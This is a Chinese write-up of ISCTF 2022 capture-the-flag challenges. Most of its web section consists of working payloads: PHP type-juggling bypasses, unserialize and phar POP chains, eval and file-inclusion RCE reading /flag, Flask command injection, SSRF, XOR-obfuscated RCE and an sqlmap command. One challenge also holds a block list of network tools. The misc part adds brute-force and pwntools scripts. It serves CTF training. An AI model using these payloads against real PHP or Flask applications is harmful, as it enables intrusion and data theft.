2022ISCTF 全部Web题解,部分misc
Web EASY-PHP01 签到
弱类型绕过
114514a
Fake-web 打开就是蓝鲨信息的主页
用curl得到flag
EASY-PHP02 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php highlight_file (__FILE__ );error_reporting (0 );$flag = "flag{need_time_to_change}" ;include_once ("config.php" );$YOUR_NAME = $_GET ["NAME" ];$GET1 = $_POST ["GET1" ];$GET2 = $_POST ["GET2" ];$POST1 = $_GET ["P0ST1" ];$POST2 = $_GET ["P0ST2" ];if (isset ($YOUR_NAME )){ echo $YOUR_NAME .",请开始你的答题。" ."<br>" ; } else { echo "做题前请告诉我你是小蓝鲨吗?" ; exit (); } if (is_numeric ($POST1 )){ if ($_GET ["P0ST1" ] != $_GET ["P0ST2" ]){ if (($_GET ["P0ST1" ]) == md5 ($_GET ["P0ST2" ])){ $f1 =$flag1 ; echo "小蓝鲨成功一半" .$f1 ; } } } if (preg_match ('/^[0-9]*$/' ,$GET1 )) {exit ();} else { if ( $GET1 == 0 ){ echo "<br>" ."前面的出来了吗?" ; if (is_numeric ($GET2 )){ exit (); } if ($GET2 > 678 ){ echo "答案就在眼前?" ."<br>" .$YOUR_NAME .",你觉得这是flag吗?" ."<br>" ; $Ag =base64_encode ($flag2 ); } } } $flag666 = $f1 .$Ag ;echo $flag666 ;?>
payload:
1 2 ?NAME=996&P0ST1=0&P0ST2=240610708 GET1= 0&GET2=679a
结果前半flag为十六进制,后半部分为base64->unicode
猫和老鼠 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php highlight_file (__FILE__ );error_reporting (0 );class mouse {public $v ; public function __toString ( ) { echo "Good. You caught the mouse:" ; include ($this ->v); } } class cat { public $a ; public $b ; public $c ; public function __destruct ( ) { $this ->dog (); $this ->b = $this ->c; die ($this ->a); } public function dog ( ) { $this ->a = "I'm a vicious dog, Kitty" ; } } unserialize ($_GET ["cat" ]); ?>
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class mouse {public $v ="php://filter/read=convert.base64-encode/resource=flag.php" ; } class cat { public $a ; public $b ; public $c ; } $gg =new cat;$mm =new mouse;$gg ->a=$mm ;$gg ->b=&$gg ->a;$gg ->c=new mouse;echo serialize ($gg );?>
通过引用使$b与$a指向同一地址,a在dog函数被改变,在b赋值时再次使其变为mouse的对象。
1 ?cat=O:3:%22cat%22:3:{s:1:%22a%22;O:5:%22mouse%22:1:{s:1:%22v%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;}s:1:%22b%22;R:2;s:1:%22c%22;O:5:%22mouse%22:1:{s:1:%22v%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;}}
simplephp 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php highlight_file (__FILE__ );error_reporting (E_ERROR);$str =$_GET ['str' ];$pattern = "#\\\\\\\\/Ilikeisctf#" ;function filter ($num ) { $num =str_replace ("0x" ,"1" ,$num ); $num =str_replace ("0" ,"1" ,$num ); $num =str_replace ("." ,"1" ,$num ); $num =str_replace ("e" ,"1" ,$num ); $num =str_replace ("+" ,"1" ,$num ); return $num ; } if (preg_match ($pattern ,$str ,$arr )){ echo "good try!" ; $num =$_GET ['num' ]; if (is_numeric ($num ) and $num !=='36' and trim ($num )!=='36' and filter ($num )=='36' ){ echo "come on!!!" ; if ($num =='36' &isset ($_GET ['cmd' ])){ eval ($_GET ['cmd' ]); }else { echo "hacker!!" ; } }else { echo "hacker!!!" ; } }
payload:
1 ?str=%23%5c%5c%5c%5c%2fIlikeisctf%23&num=%0c36&cmd=system('cat /flag');
easy_upload 扫描发现源码泄露www.rar
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );header ("Content-Type:text/html;charset=utf-8" );$file = $_GET ['file' ];if (isset ($file )){if (preg_match ("/flag|\.\.|\/\//i" , $file )) {echo "no hack" ; exit (); } include $file ;}else { include ("upload.php" ); } ?>
那就简单了,上传ha.jpg,文件包含rce(过滤了POST)
1 /index.php?file=./uplO4d/ha.jpg&1=system('cat /flag');
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php error_reporting (0 ); if ( !isset ($_FILES ["file" ])){die ();} $allowedExts = array ("jpg" );$temp = explode ("." , $_FILES ["file" ]["name" ]);echo $_FILES ["file" ]["size" ];$extension = end ($temp ); if ((($_FILES ["file" ]["type" ] == "image/jpeg" ))&& ($_FILES ["file" ]["size" ] < 15360 ) && in_array ($extension , $allowedExts )) { if ($_FILES ["file" ]["error" ] > 0 ) { echo "错误:: " . $_FILES ["file" ]["error" ] . "<br>" ; }elseif (mb_strpos (file_get_contents ($_FILES ["file" ]["tmp_name" ]), "POST" ) !== FALSE ) { echo "NO! HACKER!" ; } else { echo "上传文件名: " . $_FILES ["file" ]["name" ] . "<br>" ; echo "文件类型: " . $_FILES ["file" ]["type" ] . "<br>" ; echo "文件大小: " . ($_FILES ["file" ]["size" ] / 1024 ) . " kB<br>" ; echo "文件临时存储的位置: " . $_FILES ["file" ]["tmp_name" ] . "<br>" ; if (file_exists ("uplO4d/" . $_FILES ["file" ]["name" ])) { echo $_FILES ["file" ]["name" ] . " 文件已经存在。 " ; } else { move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "uplO4d/" . $_FILES ["file" ]["name" ]); echo "文件存储在: " . "uplO4d/" . $_FILES ["file" ]["name" ]; } } } else { echo "非法的文件格式" ; } ?>
eazy-onlineshell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import flaskimport subprocessapp = flask.Flask(__name__) @app.route("/" ) def hello_world (): return "Try to access the /rce" @app.route("/www.zip" ) def return_SourceCode (): with open ("./app.py" , "r" ) as f: return f.read() @app.route("/rce" , methods=['GET' , 'POST' ] ) def action_rce (): if flask.request.method == "GET" : return "Why not try to search the backup" elif flask.request.method == "POST" : action = flask.request.form["act" ] with open ("/app/temp.sh" , "w" ) as f: f.write(action[1 :-1 ]) res = subprocess.run(["/bin/bash" , "/app/temp.sh" ], stdout=subprocess.PIPE) return "success" if __name__ == '__main__' : app.run(debug=True )
反弹shell不知道为啥没反弹上,利用app.py即可
猜测路径为/app/app.py
使用>>将命令结果追加到文件后面
payload:
1 act=gcat flag>> /app/app.pyg
接着访问www.zip
在文件末尾得到flag
crazy-onlineshell 比上题加了黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import flaskimport subprocessapp = flask.Flask(__name__) @app.route("/" ) def hello_world (): return "Try to access the /rce" @app.route("/www.zip" ) def return_SourceCode (): with open ("./app.py" , "r" ) as f: return f.read() @app.route("/rce" , methods=['GET' , 'POST' ] ) def action_rce (): if flask.request.method == "GET" : return "Why not try to search the backup" elif flask.request.method == "POST" : action = flask.request.form["act" ] for ban_words in ["wget" , "curl" , "nc" , "httpie" , "bash" , "base64" , "http" , "dnslog" ]: if action.find(ban_words) != -1 : return "success" with open ("/app/temp.sh" , "w" ) as f: f.write(action[1 :-1 ]) res = subprocess.run(["/bin/bash" , "/app/temp.sh" ], stdout=subprocess.PIPE) return "success" if __name__ == '__main__' : app.run(debug=True )
同上题一样解法, 直接秒
curl
源码:
1 2 3 4 5 6 if (isset ($_GET ['urls' ])){ $urls = $_GET ['urls' ]; $url_host = parse_url ($urls ,PHP_URL_HOST); curl_get ($urls ); }
127.0.0.1都不需要绕过
payload:
1 ?urls=127.0.0.1/flag.php
rce? 源码:
1 2 3 4 5 6 7 8 9 <?php highlight_file (__FILE__ );if (!preg_match ('/[a-z0-9]/is' ,$_GET ['shell' ])) { $code = $_GET ['shell' ]; var_dump (eval ($code )); }else { echo "你能拿到flag吗?" ;}
PHP8环境
异或绕过
1 2 ?shell=(("%08%02%08%08%05%0d")^("%7b%7b%7b%7c%60%60")) (("%03%01%08%00%00%06%0c%01%07")^("%60%60%7c%20%2f%60%60%60%60"));
用或也可以,但是取反失败了(不知道为什么
upload 给了源码附件,第五空间原题
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class upload { public $filename ="/flag" ; public function __wakeup ( ) { echo file_get_contents ($this ->filename); } } $c = new upload ();$phar = new Phar ("e.phar" ); $phar ->startBuffering ();$phar ->setStub ('<?php __HALT_COMPILER(); ? >' );$phar ->setMetadata ($c ); $phar ->addFromString ("exp.txt" , "test" ); $phar ->stopBuffering ();?>
修改后缀等信息
phar反序列化
1 index.php?img_name=phar://upload/gg.jpg
傻柱 sqlmap跑
1 python2 ./sqlmap.py -r shazhu.txt --dbs -batch --level=3 --random-agent
flag藏在user_agents表的user_agent字段
easy_upload1(零解下线) 黑名单过滤了(没用strtolower)
1 .php .pht .phtml .php2 .html .htm .php3 .php4 .php5 .htaccess
上传后重命名是用md5加密的32位小写字符串
没给其他信息,猜测后台逻辑为,先上传文件,然后再判断后缀,再删除,需要条件竞争(尝试了一下,失败。
MISC 可爱的emoji 掩码爆破key得到压缩包密码
很容易想到emoji-aes
emoji-aes (aghorler.github.io)
key为AES,rotation为9
两层编码 第一层是sha256,套用国赛脚本爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import hashlibimport itertoolsfrom string import digits, ascii_letters, punctuationalpha_bet=digits+ascii_letters+punctuation strlist = itertools.product(alpha_bet, repeat=4 ) tail = '5CNX82ujhEqhk8Rp' sh256 = '371d61d88ff274d70cd1201faa6a353cee89ec01b4584da5424c604a2ad4238c' xxxx='' for i in strlist: data=i[0 ]+i[1 ]+i[2 ]+i[3 ] data_sha=hashlib.sha256((data+str (tail)).encode('utf-8' )).hexdigest() if (data_sha==sh256): xxxx=data break print (xxxx)
但是输入结果后,还需要在五秒内找到key
1 2 U ha^4 f1v4 s4c0nds to s0lve the pr0bl4m! dmVHWk8yZ2o3aXl6YXJpQ2tsRDZXUVVUcFdkOHhGTXlwb0U0c0tUVVJwa0dzYkZFbUw3RmVHcWt0enVVNER0U1J6d2ZoaGNsbVJWQmpDbGRqc0FKM2hjYlQzdVhxNGMwN3pzZ2hocjVydEgxdGxHdGtwc09FUnppMmxkaDhyN3NhbnVoZndEMUZxbmRUZVVIenVsNjByblR5T3Y5NWxQV1JWRG5aSVlSY2tyeU9xeHBSbDhrREltNmczZFA2a3FvcjJidHJraEV2TXkxbXFVcHZkVkt4WFp4VGp5V3FKU0pQYmFiRVRIZXlOdzBnSzZ1cndoZnhUSXpNUnRBY2NHdHA1UGtqOUZodjZhc1JiSnV4NkdVcEVmdmJjeFpKUjZ1dlBUMEp3NWNmYTFDRjN2YkRBU0NrOHI0VGc3TUN1Zzd4UHFvQ1pENUQwSE96RWlxQWlZYTZ4ODRKbTlFejBScnhoWG5oMWRLdkJEMXd1bU1jVHEyVmdMTHpTM3pDWlFDRVhTZDdlRWxra29HRlJzOHpvdjVxdmlJeE1OVTFHZVhUZTRNaWJtRkFrM0hOSFB3ZzByYmxNOVM2b29pUmFQbTgyVUd0UW5DUHVYUU9wT0xCQzZ0RzJrVlZhVlRQUVRXU0RJeTlWbWI1Yk96MGJ1M2NyQ2ZOV1RKaUNpNDRPUXN2Wmo3QndWUXY4c2c4bWx6eHhyUnhFeFU3aWZWd0o2UGt4allJeFozS3htMmFVaGgyV3BYczgwa3cwbVk5OG5OZUhuZGgwSG5zS3RVU01BRFV4TURsUlFxUlRidEZ0eFVDMEtTZkwycmdBNGM3SEE0Z1h6M2oxcHl6T0FSdDJHUTF3RG1WaVg1bjYwb2U0OEEzWXVMYzJ2NHNUOVBhaU1JQVFpdGp0R09mQ2hSWmJ6UFVJeFJCd3FhRmNtcVBZU1ZISk9xS1RORVhnUEg0YWFjYUYwUDE2cGxrQlJoOTZoMzA4UnlzTzcwTEhRNUU2bVVmQ2cwYTEwTU9RNGxDczlEcURZSEY3ZWJMTzhydVNxWlNiNXV0b1JxZUNHdGtRWktzM1lIaWNCd3JoQk1lTmtWSHdkZDhLMXJTTENET1RQSjlzNW90M0RvTWRSM3hUMzl5SExYRlhldEIxclp4WGNOS21tbjJ1RU5EMVlqaDZnTmlBT01PdFVsUVhNT1lpMDlqd2Zzc2FMY1MzNWNxWEdmeENxdmttQ1RQb29yWTBBMmR5ckw5QXBlQm9McXhQQ3RVSjlLaEMxd1hmN25TenFqTDFFdGRwcUd1MjBCOFlZVzRUcmpFNzBIQkthVmtSY2ZyZjM3Z0RwaWtleXswZGY2NmMxOS04MGQ0LTQyZWEtODVkMS1kMzA3OTczMjk4OWZ9Vkk2SDdCMGtvOUVFRzE2elFtUFF6V3hZT1R2ekhjdzhmNDI5c2RGbmE1elZ4b284SklreU1qQU03NjR4WUFiSE9WQ3lWZ2l2aWxKbFd6VEZaTUhVTllCYXRUcEtkZUdTYWFEVGFPRmdkWFVabmVjWTlvUjA0SlR0VlNNNkoxdHVUcHVWRWpSZVlMQjlFeGJ1cGdWNTZSbXlLMERRU0pLMk11bkhCbk53QXVJMUpUNUlDU1FhMlhlMHN1Y1U4cG9Cb1FRdG93U0lFOUNvN1c4QmVTR1FoNWdKTDU3YXZtWVhoamlLclJjeW53VjZYcUg0TElMaXRWOU5sOFhsU2RKWjZvTEJ4b2lFTTMzV3UzYVNWN2lZMXp2N0p5RGhMUjRMUUpReERKZlBrS0hCWGJ2dHJMMEFNS1NQOWVzdno4NDNVT2oweXY4S09ESVFwVVdUeXhMaDMzQ29LVElyVlV3bzh6Z2lRWHk1emRBaUlUSTFZRGs2ZG1qVGpYM1NHYzFhZ2ZhdWpBaExBWWY5Ymg1Y09tT1hMQUJwYVprT25sTGhlYVBRSE8xUVI1azdLSHJNdjNSM0E5UUhmUFMyVXVSV1dHNXFzZWlSMjVEbEtFR09TMXNNTDUzbk4wR0JiTjJHNDZrclJabjVFVko5alVVTjh1c0l0aVdXcjNMbjM4MjF0eTl6TzBwTEhmZUZ5RXlMYzZBTDZBMmdNMjRqM25Qa0ZSZ3V5dFV6b0ZVQmpLT3JhUkVtWjU3aTF0UWNDZ0JTaFVPeGxJeWd4bnJwUjM0TWhlRWpxeFM3SDRNbWw4bXdab21rN05SYzVPSng2QXJXYzNzU1JwSXVDbUJrMjl6cERTNGZpQzVvc3RibG9aVkcxMWpZVjFMeGdEMjRWZFAwS3NsaWU4Y2w5WmFLTWJXekhjOGpaSlFxdzFGWWc5VFRrS3dZeEw3N2IzdnFHeE5XRm43SlpMdTFMMEE1T0NJTkwycHI2dzF0aXBnMGdSZ2ozMTNCYXNncllsbUU4ckY1bFdXQnRVOWg3OVA3NjIyOEhOQXNuVVJZdXIzTGgyYUZVTWFGOHI1MjFJQzJ6aXpWelZhREloMHNhcTBqeTFVMnJpMlB2b3dDWWtIYzhyTXdXR0hHMk9WUmVFOVFrTjdycEd4czlZYkdiSXhFNEhDS3lXV2p6dE92cFVFYzlNUlBvRGdtaTliVGZqVVE4djBNZDZEZkpQRERjR2lkcjZNeGtVd1h4ZXlMR1hydTZlYklsWUZ5YlBPN3YwRU1wTnVYa0xyQ0R4YUNnSGtZajRSZW9UUkF0b2FIeWVVMXA3VncxcTVDbDZIZg==
base64解码后再找key,手打时间肯定来不及,后来给hint了,要用pwntools
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *import hashlibimport itertoolsfrom string import digits, ascii_letters, punctuationdef first (tail,sh256 ): alpha_bet=digits+ascii_letters+punctuation strlist = itertools.product(alpha_bet, repeat=4 ) xxxx='' for i in strlist: data=i[0 ]+i[1 ]+i[2 ]+i[3 ] data_sha=hashlib.sha256((data+str (tail)).encode('utf-8' )).hexdigest() if (data_sha==sh256): xxxx=data break return xxxx if __name__ == '__main__' : r=remote("120.79.18.34" ,20027 ) s1=str (r.recv()) print (s1) reg1=re.findall("X\+(.+?)\)" ,s1)[0 ] s1=s1.replace("== " ,"start" ) s1=s1.replace("\\n" ,"end" ) reg2=re.findall("start(.*)end" ,s1)[0 ] r.recv() print (reg1) print (reg2) req1=first(reg1,reg2) print (req1) r.sendline(req1) r.recv() s2=str (r.recv()+r.recv()) s2 = s2.replace("\\ncan" , "end" ) print (s2) s3=re.findall("\'(.*)end" ,s2)[0 ] s3=str (base64.b64decode(s3)) reg4 = re.findall("key.*}" , s3)[0 ] print (reg4) r.sendline(reg4) flag=r.interactive() print (flag)
我的Minecraft去哪了 正版UUID查询
f00001111 | Minecraft Profile | NameMC
Minecraft UUID / Username Converter (mcuuid.net)
得到的结果均为
1 8d3b40f7623742659d7c98695bd00446
盗版UUID查询
UUID查詢 (hkcdc.org)
结果为
1 8d50700a17d132028f1012284b280ffc
结果
1 8d50700a17d132028f1012284b280ffc8d3b40f7623742659d7c98695bd00446
md5加密得到flag
1 ISCTF{38884c1ef16e6cba90bb67983512159d}
下面这些部分记得很简略,没时间复现。 一个misc手会不懂web吗 sql注入流量,可逐个提取出ascii码,解码就行。
简单社工 台湾巨蛋站
Docker网络测试 udp.stream eq 25(仔细看是有ISCTF字样的
酱紫乱 脚本先提出所有文字整合,再base64解码,再字频分析得到flag。
捕风的魔女 前半段为魔女之旅文字解密,后半段为提瓦特大陆文字,对照解密即可。
小蓝鲨藏哪了呢 压缩包套娃,用脚本解压,最后得到一个照片
zsteg -a一把梭
放松一下 放松一下\.minecraft\logs\latest.log
日志里面有flag的base64
1 2 SVNDVEZ7V2VsY29tZV9UT19JU0NURjIwMjJfRU5KT1lfeW91cnNlbGZ9 ISCTF{Welcome_TO_ISCTF2022_ENJOY_yourself}
老色批了奥 lsb隐写,提取出文件后,使用脚本逆置文件十六进制,得到一个压缩包,解压即得flag。
Crypto 没时间复习RSA,所以只写了一题
呜呜呜我的md5脏了 栅栏fence解码: 因数[5]: 分为5栏时,解密结果为:ISCTF{md5_is_11??1??8???}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def md5hs (i ): m = hashlib.md5() m.update(i.encode()) if (m.hexdigest() == '88875458bdd87af5dd2e3c750e534741' ): print (i) return True return False s = r'ISCTF{md5_is_11??1??8???}' while True : for a in range (10 ,100 ): for b in range (10 ,100 ): for c in range (100 ,1000 ): re="ISCTF{md5_is_11" +str (a)+"1" +str (b)+"8" +str (c)+"}" if md5hs(re)==True : print (re) exit(0 )